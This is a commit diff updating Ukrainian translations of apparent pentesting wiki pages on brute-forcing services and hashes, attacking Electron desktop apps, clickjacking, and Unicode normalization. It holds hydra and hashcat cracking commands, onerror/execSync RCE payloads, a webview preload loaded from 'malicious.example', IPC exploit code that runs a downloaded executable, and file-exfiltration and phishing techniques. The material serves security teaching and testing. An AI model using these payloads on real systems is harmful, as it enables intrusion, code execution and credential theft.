Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:49 +00:00
parent 1af43702fd
commit 8d80b557b1
5 changed files with 144 additions and 80 deletions

View File

@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Словники на основі веб-сайтів
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Реєстр
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
@ -435,7 +444,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
## Локальний
## Local
### Онлайн бази даних для злому
@ -451,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Перевірте це перед тим, як спробувати зламати хеш за допомогою брутфорсу.
Перевірте це перед спробою злому хешу.
### ZIP
```bash
@ -469,9 +478,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Відома атака на zip з відкритим текстом
#### Відомий атака на zip з відкритим текстом
Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, виконавши: **`7z l encrypted.zip`**\
Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, запустивши: **`7z l encrypted.zip`**\
Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) зі сторінки релізів.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
@ -560,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Інший туторіал Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
Інший туторіал по Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
@ -606,12 +615,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
**Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Ідентифікатор хешів
### Hash-identifier
```bash
hash-identifier
> <HASH>
```
### Словники
### Wordlists
- **Rockyou**
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
@ -699,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Злом Linux хешів - файл /etc/shadow
Злом Linux Hashes - файл /etc/shadow
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
@ -711,7 +720,7 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Зламування загальних хешів додатків
Злом загальних хешів додатків
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash

View File

@ -37,13 +37,13 @@ win.loadURL(`file://path/to/index.html`)
Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і рендеринговий процеси не ізольовані.
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані.
- **`preload`** - за замовчуванням порожній.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.
- Node Integration в Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** в рамках Electron додатку.
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження будуть завантажуватися в iframe.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron додатку.
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження завантажаться в iframe.
Приклад конфігурації:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Деякі **RCE payloads** з [тут](https://7as.es/electron/nodeIntegration_rce.txt):
Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capture traffic
### Захоплення трафіку
Змініть конфігурацію start-main і додайте використання проксі, наприклад:
Змініть конфігурацію start-main і додайте використання проксі, такого як:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
@ -152,13 +152,13 @@ runCalc()
## RCE: XSS + contextIsolation
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, так що виконання JavaScript кожного коду не впливає на інший. Це необхідна функція для усунення можливості RCE.
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.
Якщо контексти не ізольовані, зловмисник може:
1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти)
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію
3. **Викликати** використання **перезаписаної функції**
3. **Запустити** використання **перезаписаної функції**
4. RCE?
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередні скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо або в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
**Ось спрощений псевдокод:**
@ -224,13 +224,34 @@ window.open(
)
</script>
```
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** є **застарілою функцією**, яка дозволяє використовувати **NodeJS** в **процесі рендерингу**, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для **завантаження довільного попереднього скрипту**.
Цей попередній скрипт був зловжито використаний для виклику **вразливого IPC-сервісу (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. У наведеному прикладі показано, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Крім того, подається ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає ін'єкцію скрипта для експлуатації програми та ексфільтрації даних:
Крім того, поділено ще один метод **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає інжекцію скрипта для експлуатації програми та ексфільтрації даних:
```html
<br /><br /><br /><br />
<h1>
@ -248,19 +269,19 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Old Chromium**
Якщо **chromium**, що використовується в додатку, є **старим** і в ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
Якщо **chromium**, що використовується в додатку, є **старим** і на ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви могли б спробувати використати це для **викрадення облікових даних через фішинг**.
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати це, щоб **вкрасти облікові дані через фішинг**.
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS код на фронтенді:
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити нову URL, перевіряючи JS код на фронтенді:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** у **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито у **браузері як ресурс третьої сторони**.
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** в **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито в **браузері як ресурс третьої сторони**.
У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані:
```html
@ -268,17 +289,21 @@ webContents.on("will-navigate", function (event, url) {} // o
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Remote module
## `file://` Протокол
Модуль Electron Remote дозволяє **процесам рендеринга отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
Як згадано в [документації](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), сторінки, що працюють на **`file://`**, мають односторонній доступ до кожного файлу на вашій машині, що означає, що **проблеми XSS можуть бути використані для завантаження довільних файлів** з машини користувача. Використання **кастомного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише для обслуговування певного набору файлів.
## Віддалений модуль
Віддалений модуль Electron дозволяє **процесам рендерингу отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
> [!TIP]
> Хоча модуль **remote** відкриває деякі API з основного процесу для процесів рендеринга, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
> Хоча **віддалений** модуль відкриває деякі API з основного до процесів рендерингу, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
> [!WARNING]
> Багато додатків, які все ще використовують модуль remote, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендеринга, що є **величезним ризиком безпеки**.
> Багато програм, які все ще використовують віддалений модуль, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендерингу, що є **величезним ризиком безпеки**.
З моменту виходу Electron 14 модуль `remote` Electron може бути увімкнений у кількох етапах, оскільки з причин безпеки та продуктивності **рекомендується не використовувати його**.
З версії Electron 14 модуль `remote` може бути увімкнений у кількох етапах, оскільки з міркувань безпеки та продуктивності **рекомендується не використовувати його**.
Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**:
```javascript
@ -291,7 +316,7 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Тоді процес рендеринга може імпортувати об'єкти з модуля, як:
Тоді процес рендерингу може імпортувати об'єкти з модуля, як-от:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
@ -302,7 +327,7 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **за замовчуванням обробник** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо це необхідно.
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо потрібно.
- **`app.setUserTasks(tasks)`**
- **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`**
@ -310,9 +335,9 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac.
- **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії** для організації того, як завдання з'являються для користувача.
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії**, щоб організувати, як завдання з'являються для користувача.
- **`app.setLoginItemSettings(settings)`**
- **Конфігурує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
- **Налаштовує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
@ -338,7 +363,7 @@ console.log('Recent Places:', recentPlaces);
* **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter.
* Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** пісочниці додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування томів**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
* Після **Catalina / Big Sur** пісочничні додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування дисків**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
### **getUserDefault / setUserDefault**
@ -346,9 +371,9 @@ console.log('Recent Places:', recentPlaces);
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**.
* **setUserDefault** може **модифікувати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
* У **старих версіях Electron** (до v8.3.0) була доступна лише **стандартна сукупність** NSUserDefaults.
* У **старіших версіях Electron** (до v8.3.0) лише **стандартний набір** NSUserDefaults був **доступний**.
## Shell.showItemInFolder
@ -358,9 +383,9 @@ console.log('Recent Places:', recentPlaces);
## Content Security Policy
Додатки Electron повинні мати **Політику безпеки контенту (CSP)** для **запобігання XSS-атакам**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
Додатки Electron повинні мати **Політику безпеки контенту (CSP)**, щоб **запобігти атакам XSS**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
Зазвичай **конфігурується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
Для отримання додаткової інформації перегляньте:
@ -368,12 +393,13 @@ console.log('Recent Places:', recentPlaces);
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек.
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це відкритий плагін VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити
## Labs

View File

@ -8,11 +8,11 @@
### Трюк з попереднім заповненням форм
Іноді можливо **заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
### Заповнення форми за допомогою Drag\&Drop
### Заповнити форму за допомогою Drag\&Drop
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його ввести якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Основний Payload
```css
@ -91,8 +91,8 @@ background: #F00;
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
Приклад:\
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET.\
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманути** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking** і ви можете **попередньо заповнити** **форму** з GET параметрами.\
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
### DoubleClickjacking
@ -100,8 +100,10 @@ background: #F00;
Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Приклад коду можна знайти на [цій сторінці](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING]
> Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти проти clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише з 1 натисканням, такі як запити OAuth на прийняття дозволів**.
> Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти від clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише одним натисканням, такі як запити OAuth на прийняття дозволів**.
## Стратегії для пом'якшення Clickjacking
@ -111,8 +113,8 @@ background: #F00;
- Забезпечення того, щоб вікно програми було основним або верхнім вікном.
- Зробити всі фрейми видимими.
- Запобігти натисканням на невидимі фрейми.
- Виявлення та попередження користувачів про потенційні спроби Clickjacking.
- Запобігання натисканням на невидимі фрейми.
- Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
Однак ці скрипти для знищення фреймів можуть бути обійдені:
@ -124,7 +126,7 @@ id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
### Серверні захисти
@ -137,13 +139,13 @@ sandbox="allow-forms allow-scripts"></iframe>
- `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку.
- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.
#### Директива frame-ancestors політики безпеки контенту (CSP)
#### Директива frame-ancestors політики безпеки вмісту (CSP)
**Директива `frame-ancestors` у CSP** є рекомендованим методом захисту від Clickjacking:
**Директива `frame-ancestors` в CSP** є рекомендованим методом захисту від Clickjacking:
- `frame-ancestors 'none'` - Подібно до `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Подібно до `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Подібно до `X-Frame-Options: allow-from`.
- `frame-ancestors 'none'` - Схоже на `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`.
Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:
@ -151,9 +153,9 @@ sandbox="allow-forms allow-scripts"></iframe>
Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Політика безпеки контенту (CSP) з `child-src` та `frame-src`
### Політика безпеки вмісту (CSP) з `child-src` та `frame-src`
**Політика безпеки контенту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
**Політика безпеки вмісту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
#### Директива `frame-src`
@ -166,7 +168,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
#### `child-src` Директива
- Введена в CSP рівні 2 для встановлення дійсних джерел для веб-робітників та фреймів.
- Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.
- Використовується як резервний варіант для frame-src та worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
@ -175,8 +177,8 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
**Примітки щодо використання:**
- Відмова: child-src поступово скасовується на користь frame-src та worker-src.
- Поведінка за замовчуванням: Якщо frame-src відсутній, використовується child-src як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
- Відмова: child-src поступово відходить на користь frame-src та worker-src.
- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
- Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
#### JavaScript скрипти для зламу фреймів
@ -189,7 +191,7 @@ top.location = self.location
```
#### Використання Anti-CSRF Токенів
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, виконуються навмисно користувачем, а не через Clickjacked сторінку.
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
## Посилання

View File

@ -1,4 +1,4 @@
# Нормалізація Unicode
# Unicode Normalization
{{#include ../../banners/hacktricks-training.md}}
@ -6,21 +6,21 @@
## Розуміння Unicode та нормалізації
Нормалізація Unicode це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів:
Нормалізація Unicode - це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів:
1. **Канонічна еквівалентність**: Символи вважаються канонічно еквівалентними, якщо вони мають однаковий вигляд і значення при друку або відображенні.
2. **Еквівалентність сумісності**: Слабша форма еквівалентності, де символи можуть представляти один і той же абстрактний символ, але можуть відображатися по-різному.
Існує **чотири алгоритми нормалізації Unicode**: NFC, NFD, NFKC та NFKD. Кожен алгоритм використовує техніки канонічної та сумісної нормалізації по-різному. Для більш глибокого розуміння ви можете дослідити ці техніки на [Unicode.org](https://unicode.org/).
### Ключові моменти щодо кодування Unicode
### Основні моменти щодо кодування Unicode
Розуміння кодування Unicode є важливим, особливо при вирішенні проблем сумісності між різними системами або мовами. Ось основні моменти:
- **Кодові точки та символи**: У Unicode кожному символу або знаку присвоюється числове значення, відоме як "кодова точка".
